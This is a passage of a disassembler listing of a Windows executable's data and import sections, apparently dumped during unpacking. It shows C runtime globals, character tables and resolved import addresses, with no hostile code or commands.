					; sub_41842D:loc_4185B2w ...
dword_4EC244	dd 0			; DATA XREF: sub_401CC7+3CBDo
					; sub_4182F9+12o ...
		dd 0
dword_4EC24C	dd 0			; DATA XREF: sub_41842D+1Cr
					; sub_4185D2+3Ar
		dd 7Fh dup(0)
dword_4EC44C	dd 0			; DATA XREF: sub_41842D+28r
					; sub_4185D2+4Aw
		dd 1944h dup(0)
dword_4F2960	dd 0			; DATA XREF: sub_4185D2+23o
dword_4F2964	dd 0			; DATA XREF: sub_401CC7+3CDBo
					; sub_4182F9+3Co ...
dword_4F2968	dd 0			; DATA XREF: .data:0044F33Co
dword_4F296C	dd 0			; DATA XREF: .data:0044F344o
dword_4F2970	dd 0			; DATA XREF: .data:0044F348o
dword_4F2974	dd 0			; DATA XREF: .data:0044F34Co
dword_4F2978	dd 0			; DATA XREF: .data:0044F350o
dword_4F297C	dd 0			; DATA XREF: .data:0044F36Co
dword_4F2980	dd 0			; DATA XREF: .data:0044F374o
dword_4F2984	dd 0			; DATA XREF: .data:0044F378o
dword_4F2988	dd 0			; DATA XREF: .data:0044F384o
dword_4F298C	dd 0			; DATA XREF: .data:0044F388o
dword_4F2990	dd 0			; DATA XREF: .data:0044F390o
; char byte_4F2994[]
byte_4F2994	db 204h	dup(0)		; DATA XREF: sub_418E65+6Ao
dword_4F2B98	dd 0			; DATA XREF: sub_4190F6+E9o
; char byte_4F2B9C[]
byte_4F2B9C	db 5Ch dup(0)		; DATA XREF: sub_4196AA:loc_4197C7o
					; sub_4196AA+131o ...
; char byte_4F2BF8[]
byte_4F2BF8	db 200h	dup(0)		; DATA XREF: sub_41A460+7Co
					; sub_41A460+A5o
dword_4F2DF8	dd 0			; DATA XREF: sub_419A25+45w
					; sub_419A25+4Dr ...
; char byte_4F2DFC[]
byte_4F2DFC	db 5Ch dup(0)		; DATA XREF: sub_41A32C:loc_41A44Eo
					; sub_41A32C+12Do
; char byte_4F2E58[]
byte_4F2E58	db 200h	dup(0)		; DATA XREF: sub_419965+4Co
					; sub_419965+7Eo ...
byte_4F3058	db 0			; DATA XREF: sub_419A25+29r
					; sub_419A25+34w
		align 4
; char byte_4F305C[]
byte_4F305C	db 200h	dup(0)		; DATA XREF: sub_419C7C+61o
					; sub_419C7C+89o ...
; char byte_4F325C[]
byte_4F325C	db 204h	dup(0)		; DATA XREF: sub_41958E:loc_4195C6o
					; sub_41958E+5Bo
dword_4F3460	dd 0			; DATA XREF: sub_41A901:loc_41A922r
					; sub_41A9F0+54r ...
dword_4F3464	dd 0			; DATA XREF: sub_41A901r
					; sub_41A9F0+37r ...
dword_4F3468	dd 0			; DATA XREF: sub_41A931+1Ar
					; sub_41AB45+83o
dword_4F346C	dd 0			; DATA XREF: sub_41A901:loc_41A915r
					; sub_41AB45+11Bw
; char byte_4F3470[]
byte_4F3470	db 34h dup(0)		; DATA XREF: sub_41A9F0+13o
					; sub_41AB45:loc_41AC86o
; int dword_4F34A4
dword_4F34A4	dd 0			; DATA XREF: sub_41A9F0+CDr
					; sub_41A9F0+ECr ...
		dd 0
; char byte_4F34AC[]
byte_4F34AC	db 4 dup(0)		; DATA XREF: sub_41A969+9o
dword_4F34B0	dd 0			; DATA XREF: sub_41AB45+DFo
; char byte_4F34B4[]
byte_4F34B4	db 4 dup(0)		; DATA XREF: sub_41AB45:loc_41AC81o
; char byte_4F34B8[]
byte_4F34B8	db 38h dup(0)		; DATA XREF: sub_41B76F+47o
dword_4F34F0	dd 0			; DATA XREF: sub_41B92C+13o
dword_4F34F4	dd 941E90h		; DATA XREF: __heap_alloc_dbg+262w
					; _realloc_help:loc_41CA8Br ...
dword_4F34F8	dd 1545h		; DATA XREF: __heap_alloc_dbg:loc_41C3F3r
					; __heap_alloc_dbg+21Cw ...
dword_4F34FC	dd 943230h		; DATA XREF: __heap_alloc_dbg:loc_41C429r
					; __heap_alloc_dbg+252r ...
dword_4F3500	dd 118Ah		; DATA XREF: __heap_alloc_dbg+222r
					; __heap_alloc_dbg+22Aw ...
dword_4F3504	dd 118Ah		; DATA XREF: __heap_alloc_dbg+235r
					; __heap_alloc_dbg+243w ...
dword_4F3508	dd 0			; DATA XREF: __sopen+217r
dword_4F350C	dd 0A28h		; DATA XREF: sub_41D910:loc_41D97Ar
					; sub_41D910:loc_41D9EDr ...
dword_4F3510	dd 501h			; DATA XREF: start+64w
dword_4F3514	dd 5			; DATA XREF: start+4Fw	start+55r
dword_4F3518	dd 1			; DATA XREF: start+3Ew	start+5Er
dword_4F351C	dd 1			; DATA XREF: WinMain(x,x,x,x):loc_401710r
					; __setargv+C6w
dword_4F3520	dd 942840h		; DATA XREF: WinMain(x,x,x,x)+2FEr
					; WinMain(x,x,x,x)+31Er ...
		align 8
dword_4F3528	dd 942888h		; DATA XREF: __setenvp+7Bw
					; __setenvp+81r ...
dword_4F352C	dd 0			; DATA XREF: ___crtsetenv+49r
dword_4F3530	dd 0			; DATA XREF: _getenv+24r
					; ___wtomb_environ+6r ...
		align 8
off_4F3538	dd offset aCM_unpackerPac ; DATA XREF: __setargv+26w
					; __setargv+3Cr
					; "C:\\m_unpacker\\packed.exe"
		align 10h
byte_4F3540	db 0			; DATA XREF: _doexit+30w
					; ___endstdio+8r
		align 4
dword_4F3544	dd 0			; DATA XREF: _doexit:loc_41EBA3w
dword_4F3548	dd 0			; DATA XREF: _doexit+9r
					; _doexit:loc_41EC4Bw
dword_4F354C	dd 0			; DATA XREF: _doexit+95r _doexit+AFw
dword_4F3550	dd 0			; DATA XREF: .text:00420424r
					; .text:0042042Fw
dword_4F3554	dd 0			; DATA XREF: __fpmath+10w
dword_4F3558	dd 0			; DATA XREF: _time+88r	_time+F8w
		align 10h
dword_4F3560	dd 0			; DATA XREF: _time+7Dr	_time+100w ...
byte_4F3564	db 2 dup(0)		; DATA XREF: _time+109w
word_4F3566	dw 0			; DATA XREF: _time+52r
dword_4F3568	dd 0			; DATA XREF: _time+3Dr	_time+112w ...
dword_4F356C	dd 0			; DATA XREF: _time+11Aw
dword_4F3570	dd 0			; DATA XREF: start+C3w	__setenvp+1Br ...
		align 8
dword_4F3578	dd 0			; DATA XREF: __amsg_exit+3r
					; _fast_error_exit+3r ...
dword_4F357C	dd 0			; DATA XREF: __openfile:loc_427CF5r
					; __openfile+2CEw ...
dword_4F3580	dd 0			; DATA XREF: __CrtDbgReport+93r
					; __CrtDbgReport+C8w ...
dword_4F3584	dd 0			; DATA XREF: _malloc+Ar
					; __malloc_dbg+10r ...
dword_4F3588	dd 0			; DATA XREF: _set_new_handler(int (*)(uint))+Er
					; _set_new_handler(int (*)(uint))+19w ...
		align 10h
dword_4F3590	dd 143E28h, 0FFFFFFFFh,	4 dup(0) ; DATA	XREF: .data:off_451C04o
dword_4F35A8	dd 143DB0h, 0FFFFFFFFh,	4 dup(0) ; DATA	XREF: .data:off_451C44o
dword_4F35C0	dd 143E00h, 0FFFFFFFFh,	4 dup(0) ; DATA	XREF: .data:off_451C24o
dword_4F35D8	dd 143DD8h, 0FFFFFFFFh,	4 dup(0) ; DATA	XREF: .data:off_451C34o
dword_4F35F0	dd 0			; DATA XREF: ___sbh_decommit_pages+8Br
					; ___sbh_decommit_pages+93w ...
dword_4F35F4	dd 1			; DATA XREF: __setmbcp:loc_429622r
					; _getSystemCP+3w ...
dword_4F35F8	dd 0			; DATA XREF: __stbuf+A6r __stbuf+C9w ...
		align 10h
dword_4F3600	dd 0			; DATA XREF: __strcmpi+Co
					; __setlocale_set_cat+82r ...
		align 8
; int dword_4F3608
dword_4F3608	dd 0			; DATA XREF: __strupr+Dr
					; __strupr:loc_421916r	...
dword_4F360C	dd 0			; DATA XREF: ___init_monetary+4r
dword_4F3610	dd 0			; DATA XREF: ___init_numeric+18r
dword_4F3614	dd 0			; DATA XREF: ___init_time+4r
dword_4F3618	dd 0			; DATA XREF: __mbstowcs_lk+B9r
					; __mbstowcs_lk+16Cr ...
dword_4F361C	dd 0			; DATA XREF: __setlocale_set_cat+11Fw
dword_4F3620	dd 0			; DATA XREF: __expandlocale+C7o
					; __expandlocale+140o
word_4F3624	dw 0			; DATA XREF: __expandlocale+E8r
		align 4
dword_4F3628	dd 0			; DATA XREF: __expandlocale+EFw
					; __expandlocale+159o
dword_4F362C	dd 1			; DATA XREF: ___crtLCMapStringA+26r
					; ___crtLCMapStringA+4Bw ...
aCM_unpackerPac	db 'C:\m_unpacker\packed.exe',0 ; DATA XREF: __setargv+19o
					; __setargv+26o ...
		align 4
		dd 3Ah dup(0)
dword_4F3734	dd 1			; DATA XREF: ___crtGetEnvironmentStringsA+14r
					; ___crtGetEnvironmentStringsA+2Cw ...
dword_4F3738	dd 0			; DATA XREF: __FF_MSGBANNER+2Br
					; __FF_MSGBANNER+34r
dword_4F373C	dd 0			; DATA XREF: .text:loc_430826r
					; .text:00430832w ...
dword_4F3740	dd 0			; DATA XREF: .text:loc_43083Ar
					; .text:00430845w ...
dword_4F3744	dd 0			; DATA XREF: .text:loc_43084Dr
					; .text:00430859w ...
dword_4F3748	dd 0			; DATA XREF: .text:loc_430860r
					; .text:0043086Cw ...
dword_4F374C	dd 0			; DATA XREF: .text:loc_4307BAr
					; .text:004307D5w
dword_4F3750	dd 0			; DATA XREF: ___crtMessageBoxA+Dr
					; ___crtMessageBoxA+39w ...
dword_4F3754	dd 0			; DATA XREF: ___crtMessageBoxA+5Aw
					; ___crtMessageBoxA:loc_430D73r ...
dword_4F3758	dd 0			; DATA XREF: ___crtMessageBoxA+6Ew
					; ___crtMessageBoxA+8Br ...
dword_4F375C	dd 1			; DATA XREF: ___crtGetStringTypeA+26r
					; ___crtGetStringTypeA+46w ...
dword_4F3760	dd 0			; DATA XREF: __openfile+9r
; int (__stdcall *dword_4F3764)()
dword_4F3764	dd 77C26E79h		; DATA XREF: __CxxUnhandledExceptionFilter(_EXCEPTION_POINTERS *):loc_43316Er
					; __CxxUnhandledExceptionFilter(_EXCEPTION_POINTERS *)+37r ...
dword_4F3768	dd 0			; DATA XREF: __tzset_lk+17w
					; __tzset_lk+6Dw ...
		align 10h
dword_4F3770	dd 0			; DATA XREF: __tzset_lk+59o
					; __tzset_lk+77r
dword_4F3774	dd 10h dup(0)		; DATA XREF: __tzset_lk+103o
word_4F37B4	dw 0			; DATA XREF: sub_4336D0+FCr
word_4F37B6	dw 0			; DATA XREF: __tzset_lk+88r
					; sub_4336D0+145r ...
word_4F37B8	dw 0			; DATA XREF: sub_4336D0+132r
word_4F37BA	dw 0			; DATA XREF: sub_4336D0+13Br
					; sub_4336D0+18Br
word_4F37BC	dw 0			; DATA XREF: sub_4336D0+126r
					; sub_4336D0+181r
word_4F37BE	dw 0			; DATA XREF: sub_4336D0+11Cr
					; sub_4336D0+177r
word_4F37C0	dw 0			; DATA XREF: sub_4336D0+113r
					; sub_4336D0+16Er
word_4F37C2	dw 0			; DATA XREF: sub_4336D0+109r
					; sub_4336D0+164r
dword_4F37C4	dd 0			; DATA XREF: __tzset_lk+93r
					; __tzset_lk+CEr
dword_4F37C8	dd 10h dup(0)		; DATA XREF: __tzset_lk+149o
word_4F3808	dw 0			; DATA XREF: sub_4336D0+43r
word_4F380A	dw 0			; DATA XREF: __tzset_lk+ABr
					; sub_4336D0+8Cr ...
word_4F380C	dw 0			; DATA XREF: sub_4336D0+79r
word_4F380E	dw 0			; DATA XREF: sub_4336D0+82r
					; sub_4336D0+D2r
word_4F3810	dw 0			; DATA XREF: sub_4336D0+6Dr
					; sub_4336D0+C8r
word_4F3812	dw 0			; DATA XREF: sub_4336D0+63r
					; sub_4336D0+BEr
word_4F3814	dw 0			; DATA XREF: sub_4336D0+5Ar
					; sub_4336D0+B5r
word_4F3816	dw 0			; DATA XREF: sub_4336D0+50r
					; sub_4336D0+ABr
dword_4F3818	dd 0			; DATA XREF: __tzset_lk+B6r
					; __tzset_lk+C9r
; char *dword_4F381C
dword_4F381C	dd 0			; DATA XREF: __tzset_lk+18Dr
					; __tzset_lk+196r ...
dword_4F3820	dd 0			; DATA XREF: ___tzset+3r ___tzset+16r	...
dword_4F3824	dd 0			; DATA XREF: ___init_time+75r
					; ___init_time+86r ...
dword_4F3828	dd 0			; DATA XREF: ___init_numeric+25o
					; ___init_numeric+93r ...
dword_4F382C	dd 0			; DATA XREF: ___init_numeric+42o
					; ___init_numeric+A3r ...
dword_4F3830	dd 0			; DATA XREF: ___init_numeric+5Fo
					; ___init_numeric+7Cr ...
dword_4F3834	dd 0			; DATA XREF: ___init_monetary+A0r
					; ___init_monetary+B1r	...
dword_4F3838	dd 0			; DATA XREF: unknown_libname_28+2AAr
					; unknown_libname_28+2B5r ...
dword_4F383C	dd 0			; DATA XREF: unknown_libname_28+2CCr
					; unknown_libname_28+2D7r ...
dword_4F3840	dd 3 dup(0)		; DATA XREF: __setlocale_set_cat+94o
					; __setlocale_set_cat+F3o
word_4F384C	dw 0			; DATA XREF: unknown_libname_28+36r
		align 10h
		dd 0
word_4F3854	dw 0			; DATA XREF: __get_lc_lconv+Fr
		align 4
		db 2 dup(0)
word_4F385A	dw 0			; DATA XREF: ___init_numeric+Fr
		db 2 dup(0)
word_4F385E	dw 0			; DATA XREF: __get_lc_time+Fr
word_4F3860	dw 0			; DATA XREF: __get_lc_time+1Ar
		align 4
dword_4F3864	dd 0			; DATA XREF: ___get_qualified_locale+155r
					; ___get_qualified_locale+176r	...
dword_4F3868	dd 0			; DATA XREF: _GetLcidFromLangCountry+37w
					; LangCountryEnumProc(x)+1Br ...
; size_t MaxCount
MaxCount	dd 0			; DATA XREF: _GetLcidFromLangCountry+6Ew
					; LangCountryEnumProc(x)+101r ...
dword_4F3870	dd 0			; DATA XREF: _GetLcidFromLangCountry+1Aw
					; _GetLcidFromLangCountry+47r ...
; char *dword_4F3874
dword_4F3874	dd 0			; DATA XREF: ___get_qualified_locale+45w
					; ___get_qualified_locale+4Br ...
; char *dword_4F3878
dword_4F3878	dd 0			; DATA XREF: ___get_qualified_locale+7Aw
					; ___get_qualified_locale+80r ...
dword_4F387C	dd 0			; DATA XREF: ___get_qualified_locale:loc_4351B9w
					; ___get_qualified_locale:loc_43521Er ...
dword_4F3880	dd 0			; DATA XREF: ___get_qualified_locale+182r
					; ___get_qualified_locale+1CBr	...
dword_4F3884	dd 0			; DATA XREF: ___get_qualified_locale+6r
					; ___get_qualified_locale+2Cw ...
dword_4F3888	dd 0			; DATA XREF: __sopen:loc_43179Cr
byte_4F388C	db 0			; DATA XREF: sub_438C60+18Fo
					; sub_438C60+1F2r ...
		align 10h
		dd 0
dword_4F3894	dd 0			; DATA XREF: __free_lc_lconv+11o
					; .data:off_454EFCo ...
dword_4F3898	dd 0			; DATA XREF: ___crtGetStringTypeW+26r
					; ___crtGetStringTypeW+46w ...
dword_4F389C	dd 0			; DATA XREF: ___crtGetLocaleInfoW+26r
					; ___crtGetLocaleInfoW+41w ...
dword_4F38A0	dd 0			; DATA XREF: ___crtGetLocaleInfoA+26r
					; ___crtGetLocaleInfoA+41w ...
dword_4F38A4	dd 0			; DATA XREF: ___crtCompareStringA+26r
					; ___crtCompareStringA+4Bw ...
dword_4F38A8	dd 0			; DATA XREF: ___crtLCMapStringW+26r
					; ___crtLCMapStringW+4Bw ...
byte_4F38AC	db 1			; DATA XREF: sub_40E2B4r sub_40E2B4+9w
		align 10h
dword_4F38B0	dd 0			; DATA XREF: sub_437DE0+90w
					; sub_437DE0+A5w ...
dword_4F38B4	dd 0			; DATA XREF: sub_437F70+1C4w
					; sub_437F70+1EDw ...
		align 10h
dword_4F38C0	dd 941F58h		; DATA XREF: ___initstdio+EDr
					; ___initstdio+109r ...
		dd 3Fh dup(0)
dword_4F39C0	dd 20h			; DATA XREF: __close+7r __read+7r ...
dword_4F39C4	dd 0			; DATA XREF: __strcmpi+5Ar
					; __strupr+68r	...
dword_4F39C8	dd 0			; DATA XREF: __strcmpi:loc_4211C3w
					; __strcmpi:loc_4211D7w ...
dword_4F39CC	dd 4E4h			; DATA XREF: __setmbcp+22r
					; __setmbcp+14Aw ...
word_4F39D0	dw 0			; DATA XREF: __setmbcp+19Aw
					; __setmbcp+2F3w ...
		align 4
		dd 2 dup(0)
dword_4F39DC	dd 0			; DATA XREF: __setmbcp+150w
					; __setmbcp+2C2w ...
byte_4F39E0	db 0			; DATA XREF: _setSBUpLow+1CEw
					; _setSBUpLow+21Aw ...
		align 4
		dd 0Fh dup(0)
		dd 63626100h, 67666564h, 6B6A6968h, 6F6E6D6Ch, 73727170h
		dd 77767574h, 7A7978h, 0
		dd 43424100h, 47464544h, 4B4A4948h, 4F4E4D4Ch, 53525150h
		dd 57565554h, 5A5958h, 0
		dd 83000000h, 0
		dd 9A0000h, 9E009Ch, 2 dup(0)
		dd 8A0000h, 0FF8E008Ch,	2 dup(0)
		dd 0AA0000h, 2 dup(0)
		dd 0B500h, 0BA0000h, 0
		dd 0E3E2E1E0h, 0E7E6E5E4h, 0EBEAE9E8h, 0EFEEEDECh, 0F3F2F1F0h
		dd 0F6F5F4h, 0FBFAF9F8h, 0DFFEFDFCh, 0C3C2C1C0h, 0C7C6C5C4h
		dd 0CBCAC9C8h, 0CFCECDCCh, 0D3D2D1D0h, 0D6D5D4h, 0DBDAD9D8h
		dd 9FDEDDDCh
byte_4F3AE0	db 0			; DATA XREF: __setmbcp+ABw
					; __setmbcp+1F4w ...
byte_4F3AE1	db 0			; DATA XREF: __splitpath+92r
					; __setmbcp+129r ...
		align 4
		dd 0Fh dup(0)
		dd 10100000h, 6	dup(10101010h),	0
		dd 20200000h, 6	dup(20202020h),	2 dup(0)
		dd 20h,	10000000h, 10001000h, 2	dup(0)
		dd 20000000h, 20002000h, 10h, 0
		dd 20000000h, 2	dup(0)
		dd 200000h, 20000000h, 0
		dd 10101000h, 5	dup(10101010h),	10101000h, 10101010h, 6	dup(20202020h)
		dd 20202000h, 20202020h, 20h
dword_4F3BE4	dd 0			; DATA XREF: __setmbcp+169w
					; __setmbcp+205w ...
dword_4F3BE8	dd 940000h		; DATA XREF: sub_41D910+8Dr
					; sub_41D910+FBr ...
dword_4F3BEC	dd 1			; DATA XREF: sub_41D910:loc_41D941r
					; sub_41D910:loc_41D9AEr ...
dword_4F3BF0	dd 0			; DATA XREF: ___sbh_heap_init+51w
					; ___sbh_alloc_new_region+9r ...
dword_4F3BF4	dd 0			; DATA XREF: sub_424410+484r
					; sub_424410+4B3r ...
dword_4F3BF8	dd 0			; DATA XREF: ___sbh_heap_init+37w
					; sub_424410+5C1w ...
		align 10h
; void *Dst
Dst		dd 0			; DATA XREF: ___sbh_heap_init+3Dw
					; sub_424410+477r ...
dword_4F3C04	dd 0			; DATA XREF: ___sbh_heap_init+47w
					; ___sbh_find_block+6r	...
dword_4F3C08	dd 0			; DATA XREF: ___sbh_heap_init+16w
					; ___sbh_heap_init+1Br	...
dword_4F3C0C	dd 0			; DATA XREF: __heap_alloc_base+2Fr
					; sub_423880+6Dr ...
dword_4F3C10	dd 0			; DATA XREF: .text:00422854r
					; .text:0042285Fw ...
dword_4F3C14	dd 943250h		; DATA XREF: ___initstdio+48w
					; ___initstdio+4Dr ...
		align 10h
dword_4F3C20	dd 400h	dup(0)		; DATA XREF: .data:off_451958o
					; .data:00451960o
dword_4F4C20	dd 200h			; DATA XREF: ___initstdio+4r
					; ___initstdio+Dw ...
dword_4F4C24	dd 142340h		; DATA XREF: start+B9w
					; __wincmdln:loc_42F442r ...
dword_4F4C28	dd 1			; DATA XREF: __setenvp+13Bw _getenv+Er
dword_4F4C2C	dd 1			; DATA XREF: ___initmbctable+3r
					; ___initmbctable+16w ...
dword_4F4C30	dd 94241Ch		; DATA XREF: _doexit+45r __onexit+19r	...
dword_4F4C34	dd 942410h		; DATA XREF: _doexit+3Cr _doexit+5Ar ...
dword_4F4C38	dd 0			; DATA XREF: .text:0041DB74r
					; .text:0041DB7Fw ...
byte_4F4C3C	db 1			; DATA XREF: sub_43AB40+5r
					; sub_43AB40+11r ...
_data		ends

; Section 4. (virtual address 000F5000)
; Virtual size			: 00000F4E (   3918.)
; Section size in file		: 00000F4E (   3918.)
; Offset to raw	data for section: 000F5000
; Flags	C0000040: Data Readable	Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure data
; Segment permissions: Read/Write
_idata		segment	para public 'DATA' use32
		assume cs:_idata
		;org 4F5000h
		dd 0F5270h, 2 dup(0)
		dd 0F556Eh, 0F54F4h, 0F5278h, 2	dup(0)
		dd 0F5584h, 0F54FCh, 0F5050h, 2	dup(0)
		dd 0F5F40h, 0F52D4h, 5 dup(0)
		dd 0F598Eh, 0F5F26h, 0F5F14h, 0F5F02h, 0F5EF0h,	0F5EE0h
		dd 0F5ECAh, 0F5EB4h, 0F5EA2h, 0F5E92h, 0F5E82h,	0F5E64h
		dd 0F5E52h, 0F5E40h, 0F5E2Ch, 0F5E1Ch, 0F5E0Eh,	0F5DFCh
		dd 0F5DE2h, 0F5DCAh, 0F5DB0h, 0F5D96h, 0F5D7Ah,	0F5D6Ah
		dd 0F5D5Ah, 0F5590h, 0F559Eh, 0F55ACh, 0F55BEh,	0F55D4h
		dd 0F55EAh, 0F55F2h, 0F5602h, 0F5610h, 0F561Eh,	0F5634h
		dd 0F5644h, 0F5650h, 0F5666h, 0F567Ch, 0F5690h,	0F56A6h
		dd 0F56B6h, 0F56C6h, 0F56D8h, 0F56E8h, 0F56F4h,	0F5704h
		dd 0F5716h, 0F572Ah, 0F573Ch, 0F574Ch, 0F575Ah,	0F5772h
		dd 0F578Ah, 0F57B2h, 0F57CAh, 0F57D6h, 0F57E6h,	0F57F2h
		dd 0F5800h, 0F5814h, 0F5826h, 0F583Ah, 0F5848h,	0F585Ah
		dd 0F586Ch, 0F587Ah, 0F5886h, 0F589Eh, 0F58B8h,	0F58C8h
		dd 0F58DAh, 0F58ECh, 0F5904h, 0F591Eh, 0F593Ah,	0F594Ah
		dd 0F5964h, 0F5980h, 0F59A8h, 0F59B4h, 0F59C0h,	0F59D2h
		dd 0F59E4h, 0F59F8h, 0F5A08h, 0F5A1Ah, 0F5A2Ah,	0F5A38h
		dd 0F5A4Ah, 0F5A5Ah, 0F5A70h, 0F5A7Eh, 0F5A8Ch,	0F5AA8h
		dd 0F5ABEh, 0F5AD4h, 0F5AE0h, 0F5AF6h, 0F5B06h,	0F5B1Ah
		dd 0F5B30h, 0F5B40h, 0F5B50h, 0F5B60h, 0F5B6Ch,	0F5B86h
		dd 0F5B96h, 0F5BAEh, 0F5BC6h, 0F5BD8h, 0F5BEAh,	0F5BF8h
		dd 0F5C06h, 0F5C16h, 0F5C2Ch, 0F5C48h, 0F5C58h,	0F5C66h
		dd 0F5C74h, 0F5C84h, 0F5C9Eh, 0F5CACh, 0F5CBAh,	0F5CD0h
		dd 0F5CDEh, 0F5CEAh, 0F5CF4h, 0F5D04h, 0F5D12h,	0F5D26h
		dd 0F5D32h, 0F5D3Ch, 0F5D48h, 0
		dd 0F5558h, 0
		dd 80000007h, 8000000Fh, 8000000Ch, 80000074h, 80000073h
		dd 80000015h, 8000000Ah, 80000002h, 8000000Dh, 80000001h
		dd 0F5576h, 8000000Bh, 80000009h, 80000004h, 80000010h
		dd 80000003h, 80000017h, 80000013h, 80000012h, 80000097h
		dd 80000006h, 80000034h, 0
dword_4F52D4	dd 77E78147h		; DATA XREF: sub_417A8B+BCr
					; .text:0043AD6Ar
dword_4F52D8	dd 77E6BD68h		; DATA XREF: ___crtsetenv+2C5r
					; .text:0043AF44r
dword_4F52DC	dd 77E77F2Eh		; DATA XREF: ___crtCompareStringA+41r
					; ___crtCompareStringA+3DAr ...
dword_4F52E0	dd 77E762D0h		; DATA XREF: ___crtCompareStringA+69r
					; ___crtCompareStringA+D9r ...
dword_4F52E4	dd 77E78723h		; DATA XREF: ___crtGetLocaleInfoW+37r
					; ___crtGetLocaleInfoW+8Br ...
dword_4F52E8	dd 77E70192h		; DATA XREF: __chsize_lk+1D8r
					; .text:0043AF2Cr
dword_4F52EC	dd 77E79C94h		; DATA XREF: _GetLcidFromDefault+12r
					; .text:0043AF26r
dword_4F52F0	dd 77E6363Bh		; DATA XREF: _GetLcidFromLangCountry+7Ar
					; _GetLcidFromLanguage+53r ...
dword_4F52F4	dd 77E75243h		; DATA XREF: ___get_qualified_locale+142r
					; .text:0043AF1Ar
dword_4F52F8	dd 77E752B8h		; DATA XREF: ___get_qualified_locale+15Cr
					; .text:0043AF14r
dword_4F52FC	dd 77E7176Ch		; DATA XREF: _ValidateExecute(int (*)(void))+Fr
					; .text:0043AF0Er
dword_4F5300	dd 77E7C9E7h		; DATA XREF: __CxxSetUnhandledExceptionFilter(void)+8r
					; __CxxRestoreUnhandledExceptionFilter(void)+9r ...
dword_4F5304	dd 77E7C866h		; DATA XREF: ___crtGetStringTypeA+3Cr
					; ___crtGetStringTypeA+19Er ...
dword_4F5308	dd 77E641EBh		; DATA XREF: ___crtGetStringTypeA+61r
					; ___crtGetStringTypeA+AAr ...
dword_4F530C	dd 77E73FF9h		; DATA XREF: unknown_libname_25+7Fr
					; .text:0043AEF6r
dword_4F5310	dd 77E7FF2Eh		; DATA XREF: __set_osfhnd+58r
					; __set_osfhnd+66r ...
dword_4F5314	dd 77E78406h		; DATA XREF: __ioinit+1E6r
					; __ioinit+29Br ...
dword_4F5318	dd 77E7C931h		; DATA XREF: __ioinit+31Ar
					; .text:0043AEE4r
dword_4F531C	dd 77E77EE1h		; DATA XREF: ___crtGetEnvironmentStringsA+1Dr
					; ___crtGetEnvironmentStringsA+6Dr ...
dword_4F5320	dd 77E67702h		; DATA XREF: ___crtGetEnvironmentStringsA:loc_42FB88r
					; ___crtGetEnvironmentStringsA+171r ...
dword_4F5324	dd 77E7C9E1h		; DATA XREF: ___crtGetEnvironmentStringsA+108r
					; ___crtGetEnvironmentStringsA+150r ...
dword_4F5328	dd 77E9C5B1h		; DATA XREF: ___crtGetEnvironmentStringsA+1E6r
					; ___crtGetEnvironmentStringsA+208r ...
dword_4F532C	dd 77EB9A84h		; DATA XREF: __XcptFilter+37r
					; .text:0043AEC6r
dword_4F5330	dd 77E781F9h		; DATA XREF: ___crtLCMapStringA+41r
					; ___crtLCMapStringA+1A5r ...
dword_4F5334	dd 77E77405h		; DATA XREF: ___crtLCMapStringA+69r
					; ___crtLCMapStringA+C0r ...
dword_4F5338	dd 77E75CB5h		; DATA XREF: sub_401317+DFr
					; WinMain(x,x,x,x)+7Ar	...
dword_4F533C	dd 77E77963h		; DATA XREF: sub_401317+B8r
					; WinMain(x,x,x,x)+2DBr ...
dword_4F5340	dd 77E61BB8h		; DATA XREF: sub_401317+A7r
					; WinMain(x,x,x,x)+2C3r ...
dword_4F5344	dd 77E7A099h		; DATA XREF: sub_401317+83r
					; WinMain(x,x,x,x)+DAr	...
dword_4F5348	dd 77E704FCh		; DATA XREF: sub_401317+74r
					; WinMain(x,x,x,x)+C4r	...
dword_4F534C	dd 77E61BE6h		; DATA XREF: sub_401317+29r
					; WinMain(x,x,x,x)+1F4r ...
dword_4F5350	dd 77E7AC37h		; DATA XREF: WinMain(x,x,x,x)+3C1r
					; sub_401CC7+7ACr ...
dword_4F5354	dd 77E73628h		; DATA XREF: WinMain(x,x,x,x)+33Br
					; sub_401CC7+7927r ...
dword_4F5358	dd 77E706B7h		; DATA XREF: WinMain(x,x,x,x)+274r
					; sub_417DE6+15r ...
dword_4F535C	dd 77E80656h		; DATA XREF: WinMain(x,x,x,x)+267r
					; .text:0043AC56r
dword_4F5360	dd 77F5157Dh		; DATA XREF: WinMain(x,x,x,x)+1D8r
					; WinMain(x,x,x,x)+3E6r ...
dword_4F5364	dd 77E6BD13h		; DATA XREF: WinMain(x,x,x,x):loc_4015D6r
					; .text:0043AC62r
dword_4F5368	dd 77E70396h		; DATA XREF: WinMain(x,x,x,x)+1B5r
					; WinMain(x,x,x,x)+221r ...
dword_4F536C	dd 77E74CABh		; DATA XREF: WinMain(x,x,x,x)+19Er
					; sub_410134+110r ...
dword_4F5370	dd 77E79F93h		; DATA XREF: WinMain(x,x,x,x)+D3r
					; sub_409DD4+2r ...
dword_4F5374	dd 77E79D5Bh		; DATA XREF: WinMain(x,x,x,x)+6Br
					; WinMain(x,x,x,x)+311r ...
dword_4F5378	dd 77E7C2C4h		; DATA XREF: WinMain(x,x,x,x)+64r
					; .text:0043AC80r
dword_4F537C	dd 77E7751Ah		; DATA XREF: WinMain(x,x,x,x)+2Cr
					; sub_401CC7+2551r ...
dword_4F5380	dd 77E75CEBh		; DATA XREF: sub_401CC7+7B9Fr
					; sub_40B891+2Br ...
dword_4F5384	dd 77E6AD34h		; DATA XREF: sub_401CC7+6A2Cr
					; sub_4190F6+35r ...
dword_4F5388	dd 77E71AFEh		; DATA XREF: sub_401CC7+67F6r
					; .text:0043AC98r
dword_4F538C	dd 77E805D8h		; DATA XREF: sub_409DD4+13Ar
					; sub_409DD4:loc_40A2E2r ...
dword_4F5390	dd 77E7A5FDh		; DATA XREF: sub_409DD4+11r
					; sub_417A8B+60r ...
dword_4F5394	dd 77E65F4Ch		; DATA XREF: sub_40B182+26r
					; sub_41A460+34r ...
dword_4F5398	dd 77E7513Ch		; DATA XREF: sub_40B228+22r
					; ___get_qualified_locale+18r ...
dword_4F539C	dd 77E7C657h		; DATA XREF: sub_40B29D+21r
					; sub_41927E+32r ...
dword_4F53A0	dd 77E73C49h		; DATA XREF: sub_40B7C1+4Ar
					; sub_40BF01+1AFr ...
dword_4F53A4	dd 77F7E300h		; DATA XREF: sub_40C951+142r
					; __unlock_file+35r ...
dword_4F53A8	dd 77F7E21Fh		; DATA XREF: sub_40C951+D7r
					; __lock_file+35r ...
dword_4F53AC	dd 77E7C706h		; DATA XREF: sub_40CB69+77r
					; .text:0043ACCEr
